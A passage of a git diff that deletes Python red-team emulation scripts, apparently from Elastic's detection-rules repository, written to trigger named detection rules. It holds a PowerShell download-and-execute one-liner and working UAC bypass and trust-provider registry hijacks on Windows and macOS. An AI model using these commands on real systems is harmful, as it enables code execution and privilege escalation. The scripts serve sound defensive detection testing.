License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import time -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="20b96aa7-609e-473f-ac35-5ac19d10f9a5", - platforms=["windows"], - endpoint=[ - { - "rule_name": "PowerShell Obfuscation Spawned via Microsoft Office", - "rule_id": "93ef8a09-0f8d-4aa1-b0fb-47d5d5b40cf2", - }, - {"rule_name": "Suspicious PowerShell Downloads", "rule_id": "7200673e-588c-45d5-be48-bc5c7a908d6b"}, - ], - siem=[], - techniques=["T1566", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - server, ip, port = common.serve_web() - url = "http://{}:{}/bad.ps1".format(ip, port) - - cmd = "powershell -ep bypass -c iex(new-object net.webclient).downloadstring('{}')".format(url) - - # Emulate Word - user_app = "winword.exe" - common.log("Emulating {}".format(user_app)) - user_app_path = Path(user_app).resolve() - common.copy_file(EXE_FILE, user_app_path) - - common.execute([user_app_path, "/c", cmd]) - time.sleep(2) - - # Cleanup - common.remove_file(user_app_path) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_wmic_script.py b/rta/suspicious_wmic_script.py deleted file mode 100644 index df1add08c..000000000 --- a/rta/suspicious_wmic_script.py +++ /dev/null @@ -1,54 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Suspicious WMIC script execution -# RTA: suspicious_wmic_script.py -# Description: Uses the WMI command-line utility to execute built-in Windows commands which are unusual or unexpected. -# Reference: https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html -import os - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="16b3d9c6-e188-49c5-8dce-d3eb5b0fcf91", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "7f370d54-c0eb-4270-ac5a-9a6020585dc6", "rule_name": "Suspicious WMIC XSL Script Execution"}], - techniques=["T1220"], -) - - -xsl_file = "test.xsl" -xsl_content = """ - - - - - -""" - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Executing suspicious WMIC script") - - with open(xsl_file, "w") as f: - f.write(xsl_content) - - # Many variations on this command. For example, -format:, / format : , etc - common.execute(["wmic.exe", "os", "get", "/format:" + xsl_file]) - - os.remove(xsl_file) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_wscript_parent.py b/rta/suspicious_wscript_parent.py deleted file mode 100644 index 9b8da04d9..000000000 --- a/rta/suspicious_wscript_parent.py +++ /dev/null @@ -1,60 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Suspicious WScript parent -# RTA: suspicious_wscript_parent.py -# signal.rule.name: Suspicious MS Outlook Child Process -# ATT&CK: T1064, T1192, T1193 -# Description: WScript run with suspicious parent processes - -import time -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="a3cdd478-b817-4513-bb3d-897a5f92c836", - platforms=["windows"], - endpoint=[], - siem=[ - {"rule_id": "32f4675e-6c49-4ace-80f9-97c9259dca2e", "rule_name": "Suspicious MS Outlook Child Process"}, - {"rule_id": "a624863f-a70d-417f-a7d2-7a404638d47f", "rule_name": "Suspicious MS Office Child Process"}, - ], - techniques=["T1566"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - script_data = """ - WScript.CreateObject("wscript.shell") - """ - script_path = ".\\hello.vbs" - with open(script_path, "w") as f: - f.write(script_data) - - cmd_path = "c:\\windows\\system32\\cmd.exe" - - for application in ["outlook.exe", "explorer.exe", "chrome.exe", "firefox.exe"]: - common.log("Emulating %s" % application) - app_path = Path(application).resolve() - common.copy_file(cmd_path, app_path) - - common.execute([app_path, "/c", "wscript.exe", "script_path"], timeout=1, kill=True) - - common.log("Killing wscript window") - common.execute("taskkill /IM wscript.exe") - - common.log("Cleanup %s" % app_path) - common.remove_file(app_path) - - common.log("Sleep 5 to allow procecsses to finish") - time.sleep(5) - common.log("Cleanup %s" % script_path) - common.remove_file(script_path) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/system_restore_process.py b/rta/system_restore_process.py deleted file mode 100644 index 88ccf3238..000000000 --- a/rta/system_restore_process.py +++ /dev/null @@ -1,52 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Process Execution in System Restore -# RTA: system_restore_process.py -# ATT&CK: T1158 -# Description: Copies mock malware into the System Volume Information directory and executes. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="0fcf5aeb-cebd-466d-8a2e-ddb710ec845d", - platforms=["windows"], - endpoint=[], - siem=[], - techniques=[] -) - - -SYSTEM_RESTORE = "c:\\System Volume Information" - - -@common.requires_os(*metadata.platforms) -@common.dependencies(common.PS_EXEC) -def main(): - status = common.run_system() - if status is not None: - return status - - common.log("System Restore Process Evasion") - program_path = common.get_path("bin", "myapp.exe") - common.log("Finding a writeable directory in %s" % SYSTEM_RESTORE) - target_directory = common.find_writeable_directory(SYSTEM_RESTORE) - - if not target_directory: - common.log("No writeable directories in System Restore. Exiting...", "-") - return common.UNSUPPORTED_RTA - - target_path = Path(target_directory) / "restore-process.exe" - common.copy_file(program_path, target_path) - common.execute(target_path) - - common.log("Cleanup", log_type="-") - common.remove_file(target_path) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/systemkey_credential_access.py b/rta/systemkey_credential_access.py deleted file mode 100644 index 130f335e1..000000000 --- a/rta/systemkey_credential_access.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="d950ef5f-8277-4ed8-a8dd-d2433e791cef", - platforms=["macos"], - endpoint=[ - {"rule_name": "Suspicious SystemKey Access via Command Line", "rule_id": "7d3f98bf-2111-4e5f-9787-9edef8d94dd0"} - ], - siem=[{"rule_name": "SystemKey Access via Command Line", "rule_id": "d75991f2-b989-419d-b797-ac1e54ec2d61"}], - techniques=["T1555"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/bash" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake commands to aquire keychain credentials") - common.execute([masquerade, "/private/var/db/SystemKey"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/systemsetup_ssh_enable.py b/rta/systemsetup_ssh_enable.py deleted file mode 100644 index 1b83056c2..000000000 --- a/rta/systemsetup_ssh_enable.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="23997dfa-9e30-4091-9ee2-8bd45a2da70a", - platforms=["macos"], - endpoint=[], - siem=[ - { - "rule_name": "Remote SSH Login Enabled via systemsetup Command", - "rule_id": "5ae4e6f8-d1bf-40fa-96ba-e29645e1e4dc", - } - ], - techniques=["T1021"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/systemsetup" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake systemsetup command to mimic enabling remote SSH.") - common.execute([masquerade, "-setremotelogin", "on"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/tar_dylib.py b/rta/tar_dylib.py deleted file mode 100644 index 3736cdedb..000000000 --- a/rta/tar_dylib.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="a56d07b3-c459-4a72-adab-b93bbe008f0f", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Non-Native Dylib Extracted into New Directory", - "rule_id": "62cc9cf4-5440-4237-aa5b-ea8db83deb3d", - } - ], - siem=[], - techniques=["T1059", "T1059.004"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # Execute command" - common.log("Launching commands to tar tmp dir.") - common.execute(["mkdir"], timeout=10, kill=True) - - with common.temporary_file("testing", "/tmp/test.txt"): - common.execute(["tar", "-cf", "test.dylib", "/tmp/test.txt"], timeout=10, kill=True) - - # cleanup - common.remove_file("test.dylib") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/tcc_bypass_mounted_apfs.py b/rta/tcc_bypass_mounted_apfs.py deleted file mode 100644 index 6ecdf1300..000000000 --- a/rta/tcc_bypass_mounted_apfs.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="4c8675a8-fbed-4f36-88e6-ffceaf82f426", - platforms=["macos"], - endpoint=[], - siem=[ - {"rule_name": "TCC Bypass via Mounted APFS Snapshot Access", "rule_id": "b00bcd89-000c-4425-b94c-716ef67762f6"} - ], - techniques=["T1006"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/mount_apfs" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake mount_apfs command to mount the APFS snapshot") - common.execute([masquerade, "/System/Volumes/Data", "noowners"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/tcc_modification.py b/rta/tcc_modification.py deleted file mode 100644 index 92d35482f..000000000 --- a/rta/tcc_modification.py +++ /dev/null @@ -1,43 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="34cddcb3-bd49-4363-8092-677307abaa82", - platforms=["macos"], - endpoint=[], - siem=[ - { - "rule_name": "Potential Privacy Control Bypass via TCCDB Modification", - "rule_id": "eea82229-b002-470e-a9e1-00be38b14d32", - } - ], - techniques=["T1562"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/sqlite" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake plistbuddy command to modify plist files") - common.execute( - [masquerade, "/test/Application Support/com.apple.TCC/TCC.db"], - timeout=10, - kill=True, - ) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/trust_provider.py b/rta/trust_provider.py deleted file mode 100644 index 4d4d32b30..000000000 --- a/rta/trust_provider.py +++ /dev/null @@ -1,62 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Trust Provider Modification -# RTA: trust_provider.py -# ATT&CK: T1116 -# Description: Substitutes an invalid code authentication policy, enabling trust policy bypass. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="45541eb5-c636-477b-81c9-b6dcf184c9cc", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "f2c7b914-eda3-40c2-96ac-d23ef91776ca", "rule_name": "SIP Provider Modification"}], - techniques=["T1553"], -) - - -FINAL_POLICY_KEY = "Software\\Microsoft\\Cryptography\\providers\\trust\\FinalPolicy\\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}" # noqa: E501 - - -def set_final_policy(dll_path, function_name): - winreg = common.get_winreg() - hkey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, FINAL_POLICY_KEY) - - common.log("Setting dll path: %s" % dll_path) - winreg.SetValueEx(hkey, "$DLL", 0, winreg.REG_SZ, dll_path) - - common.log("Setting function name: %s" % function_name) - winreg.SetValueEx(hkey, "$Function", 0, winreg.REG_SZ, function_name) - - -if common.is_64bit(): - SIGCHECK = common.get_path("bin", "sigcheck64.exe") - TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider64.dll") -else: - SIGCHECK = common.get_path("bin", "sigcheck32.exe") - TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider32.dll") - -TARGET_APP = common.get_path("bin", "myapp.exe") - - -@common.requires_os(*metadata.platforms) -@common.dependencies(SIGCHECK, TRUST_PROVIDER_DLL, TARGET_APP) -def main(): - common.log("Trust Provider") - set_final_policy(TRUST_PROVIDER_DLL, "FinalPolicy") - - common.log("Launching sigcheck") - common.execute([SIGCHECK, "-accepteula", TARGET_APP]) - - common.log("Cleaning up") - set_final_policy("C:\\Windows\\System32\\WINTRUST.dll", "SoftpubAuthenticode") - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/uac_cdssync.py b/rta/uac_cdssync.py deleted file mode 100644 index f6c038c6c..000000000 --- a/rta/uac_cdssync.py +++ /dev/null @@ -1,47 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import shutil -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="7e9a94f4-46aa-45eb-b95b-53da7c01a033", - platforms=["windows"], - endpoint=[ - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - { - "rule_name": "UAC Bypass Attempt via CDSSync Scheduled Task Hijack", - "rule_id": "d8b7a157-c98f-42bd-8aac-7d1e4fcd53f4", - }, - ], - siem=[], - techniques=["T1574", "T1548", "T1036"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - taskhostw = "C:\\Users\\Public\\taskhostw.exe" - path = "C:\\Users\\Public\\System32" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = path + "\\npmproxy.dll" - Path(path).mkdir(parents=True, exist_ok=True) - common.copy_file(user32, dll) - common.copy_file(EXE_FILE, taskhostw) - - common.log("Spawning PowerShell from fake taskhostw") - common.execute([taskhostw, "/c", powershell], timeout=10, kill=True) - common.remove_files(dll, taskhostw) - shutil.rmtree(path) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/uac_clipup.py b/rta/uac_clipup.py deleted file mode 100644 index 716a063d3..000000000 --- a/rta/uac_clipup.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="1d887a40-ea2a-493c-90b4-54e0ce4f3534", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'b90cdde7-7e0d-4359-8bf0-2c112ce2008a', - 'rule_name': 'UAC Bypass Attempt with IEditionUpgradeManager Elevated COM Interface' - }], - techniques=['T1548', 'T1548.002'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - dllhost = "C:\\Users\\Public\\dllhost.exe" - clipup = "C:\\Users\\Public\\clipup.exe" - common.copy_file(EXE_FILE, clipup) - common.copy_file(EXE_FILE, dllhost) - - common.execute([dllhost, "echo", "/Processid:{BD54C901-076B-434E-B6C7-17C531F4AB41}", - ";", clipup], timeout=5, kill=True) - common.remove_files(clipup, dllhost) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/uac_computerdefaults.py b/rta/uac_computerdefaults.py deleted file mode 100644 index 6f6a11c71..000000000 --- a/rta/uac_computerdefaults.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="7cc740ff-2e6c-4740-9323-46dcbb4dbfbc", - platforms=["windows"], - endpoint=[ - { - "rule_name": "UAC Bypass via ComputerDefaults Execution Hijack", - "rule_id": "7c0048d5-356d-4f69-839e-10c1e194958f", - } - ], - siem=[], - techniques=["T1548"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - key = "Software\\Classes\\ms-settings\\shell\\open\\command" - value = "test" - data = "test" - - with common.temporary_reg(common.HKCU, key, value, data): - pass - - computerdefaults = "C:\\Users\\Public\\ComputerDefaults.exe" - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - common.copy_file(EXE_FILE, computerdefaults) - - common.execute([computerdefaults, "/c", powershell], timeout=2, kill=True) - common.remove_file(computerdefaults) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/uac_dccw.py b/rta/uac_dccw.py deleted file mode 100644 index a3f956442..000000000 --- a/rta/uac_dccw.py +++ /dev/null @@ -1,49 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="cfb116f0-ad83-4d77-803f-064c2cfd93fe", - platforms=["windows"], - endpoint=[ - {"rule_name": "Suspicious Parent-Child Relationship", "rule_id": "18a26e3e-e535-4d23-8ffa-a3cdba56d16e"}, - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - { - "rule_name": "UAC Bypass Attempt via DCCW DLL Search Order Hijacking", - "rule_id": "093bd845-b59f-4868-a7dd-62d48b737bf6", - }, - ], - siem=[], - techniques=["T1129", "T1548", "T1036", "T1055", "T1574"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - dccw = "C:\\Users\\Public\\dccw.exe" - dllhost = "C:\\Users\\Public\\dllhost.exe" - dccwpath = "C:\\Users\\Public\\dccw.exe.test" - dccwpathdll = "C:\\Users\\Public\\dccw.exe.test\\a.dll" - dccwpathdll2 = "C:\\Users\\Public\\dccw.exe.test\\b.dll" - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - common.copy_file(EXE_FILE, dccw) - common.copy_file(EXE_FILE, dllhost) - - # Create Dir - common.execute([powershell, "/c", f"New-Item -Path {dccwpath} -Type Directory"], timeout=10) - common.copy_file(EXE_FILE, dccwpathdll) - common.execute([dllhost, "/c", f"Rename-Item {dccwpathdll} {dccwpathdll2}"], timeout=10) - common.execute([dccw, "/c", powershell], timeout=2, kill=True) - common.remove_files(dccw, dllhost, dccwpathdll2) - common.execute([powershell, "/c", f"rmdir {dccwpath} -Force"], timeout=3) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/uac_diskcleanup.py b/rta/uac_diskcleanup.py deleted file mode 100644 index 4e80a8078..000000000 --- a/rta/uac_diskcleanup.py +++ /dev/null @@ -1,31 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="37b8d4d9-5acc-40c0-bc78-aba24a2c3f80", - platforms=["windows"], - endpoint=[ - { - "rule_name": "UAC Bypass via DiskCleanup Scheduled Task Hijack", - "rule_id": "d487049e-381d-44ad-9ec9-d23e88dbf573", - } - ], - siem=[], - techniques=["T1548"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - common.execute([powershell, "/autoclean", "/d"], timeout=2, kill=True) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/uac_dism_dll_side_loading.py b/rta/uac_dism_dll_side_loading.py deleted file mode 100644 index 41b82d10f..000000000 --- a/rta/uac_dism_dll_side_loading.py +++ /dev/null @@ -1,45 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="f5c31db1-a376-47b3-9ba3-a946408e2bbc", - platforms=["windows"], - endpoint=[ - {"rule_name": "Suspicious Parent-Child Relationship", "rule_id": "18a26e3e-e535-4d23-8ffa-a3cdba56d16e"}, - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - { - "rule_name": "UAC Bypass Attempt via DismCore DLL Side-Loading", - "rule_id": "38210b91-f593-4c1c-a582-e5309c5b5168", - }, - ], - siem=[], - techniques=["T1574", "T1055", "T1548", "T1036"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - dism = "C:\\Users\\Public\\Dism.exe" - dllhost = "C:\\Users\\Public\\dllhost.exe" - dccwpathdll = "C:\\Users\\Public\\a.dll" - dccwpathdll2 = "C:\\Users\\Public\\DismCore.dll" - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - common.copy_file(EXE_FILE, dism) - common.copy_file(EXE_FILE, dllhost) - common.copy_file(EXE_FILE, dccwpathdll) - - common.execute([dllhost, "/c", f"Rename-Item {dccwpathdll} {dccwpathdll2}"], timeout=10) - common.execute([dism, "/c", powershell], timeout=2, kill=True) - common.remove_files(dism, dllhost, dccwpathdll2) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/uac_eventviewer.py b/rta/uac_eventviewer.py deleted file mode 100644 index 865cebb06..000000000 --- a/rta/uac_eventviewer.py +++ /dev/null @@ -1,55 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Bypass UAC via Event Viewer -# RTA: uac_eventviewer.py -# ATT&CK: T1088 -# Description: Modifies the Registry value to change the handler for MSC files, bypassing UAC. - -import sys -import time - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="1185afa2-49aa-4cca-8702-228d238c0bd5", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "31b4c719-f2b4-41f6-a9bd-fce93c2eaf62", "rule_name": "Bypass UAC via Event Viewer"}], - techniques=["T1548"], -) - - -# Default machine value: -# HKLM\Software\Classes\MSCFile\shell\open\command\(Default) -# %SystemRoot%\system32\mmc.exe "%1" %* - - -@common.requires_os(*metadata.platforms) -def main(target_file=common.get_path("bin", "myapp.exe")): - winreg = common.get_winreg() - common.log("Bypass UAC with %s" % target_file) - - common.log("Writing registry key") - hkey = winreg.CreateKey(winreg.HKEY_CURRENT_USER, "Software\\Classes\\MSCFile\\shell\\open\\command") - winreg.SetValue(hkey, "", winreg.REG_SZ, target_file) - - common.log("Running event viewer") - common.execute(["c:\\windows\\system32\\eventvwr.exe"]) - - time.sleep(3) - common.log("Killing MMC", log_type="!") - common.execute(["taskkill", "/f", "/im", "mmc.exe"]) - - common.log("Restoring registry key", log_type="-") - winreg.DeleteValue(hkey, "") - winreg.DeleteKey(hkey, "") - winreg.CloseKey(hkey) - - -if __name__ == "__main__": - exit(main(*sys.argv[1:])) diff --git a/rta/uac_eventvwr.py b/rta/uac_eventvwr.py deleted file mode 100644 index 30811d440..000000000 --- a/rta/uac_eventvwr.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="7396debc-65ce-488f-845e-f92e68aceeb1", - platforms=["windows"], - endpoint=[ - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - {"rule_name": "UAC Bypass via Event Viewer", "rule_id": "ab29a79a-b3c2-4ae4-9670-70dd0ea68a4a"}, - ], - siem=[], - techniques=["T1548", "T1036"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - eventvwr = "C:\\Users\\Public\\eventvwr.exe" - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - common.copy_file(EXE_FILE, eventvwr) - - common.execute([eventvwr, "/c", powershell], timeout=2, kill=True) - common.remove_files(eventvwr) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/uac_fodhelper.py b/rta/uac_fodhelper.py deleted file mode 100644 index 55734e793..000000000 --- a/rta/uac_fodhelper.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="a67586fd-cceb-4fb9-bf0e-d355b9e8921a", - platforms=["windows"], - endpoint=[ - {"rule_name": "UAC Bypass via FodHelper Execution Hijack", "rule_id": "b5c0058e-2bca-4ed5-84b3-4e017c039c57"} - ], - siem=[], - techniques=["T1548"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - key = "Software\\Classes\\ms-settings\\shell\\open\\command" - value = "test" - data = "test" - - with common.temporary_reg(common.HKCU, key, value, data): - pass - - fodhelper = "C:\\Users\\Public\\fodhelper.exe" - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - common.copy_file(EXE_FILE, fodhelper) - - common.execute([fodhelper, "/c", powershell], timeout=2, kill=True) - common.remove_file(fodhelper) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/uac_icmluautil.py b/rta/uac_icmluautil.py deleted file mode 100644 index fefccdd13..000000000 --- a/rta/uac_icmluautil.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="e0e95f35-173d-4545-a1cc-ee35ee1d89b1", - platforms=["windows"], - endpoint=[ - {"rule_name": "Suspicious Parent-Child Relationship", "rule_id": "18a26e3e-e535-4d23-8ffa-a3cdba56d16e"}, - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - { - "rule_name": "UAC Bypass via ICMLuaUtil Elevated COM Interface", - "rule_id": "13fab475-06e4-4ac9-87fc-2105c7441244", - }, - ], - siem=[], - techniques=["T1055", "T1548", "T1036"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - dllhost = "C:\\Users\\Public\\dllhost.exe" - common.copy_file(EXE_FILE, dllhost) - - common.execute( - [dllhost, "/c", "echo 3E5FC7F9-9A51-4367-9063-A120244FBEC7; powershell"], - timeout=2, - kill=True, - ) - common.remove_file(dllhost) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/uac_mmc_deserialization.py b/rta/uac_mmc_deserialization.py deleted file mode 100644 index f2cc8f8c5..000000000 --- a/rta/uac_mmc_deserialization.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import os -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="1d486055-38f8-4cf3-aec1-7f4f72d73fb2", - platforms=["windows"], - endpoint=[ - { - "rule_name": "UAC Bypass via Unsafe Deserialization in Event Viewer", - "rule_id": "df7e55c9-cd36-4e33-9e82-3a54b9c84495", - } - ], - siem=[], - techniques=["T1548"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - appdata = os.getenv("LOCALAPPDATA") - path = Path(appdata) / "\\Microsoft\\Event Viewer" - recentfiles = path / "\\RecentViews" - - if path.is_dir(): - common.copy_file(EXE_FILE, recentfiles) - common.remove_file(recentfiles) - else: - path.mkdir() - common.copy_file(EXE_FILE, recentfiles) - common.remove_file(recentfiles) - path.rmdir() - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/uac_mmc_hijack.py b/rta/uac_mmc_hijack.py deleted file mode 100644 index 878615ca4..000000000 --- 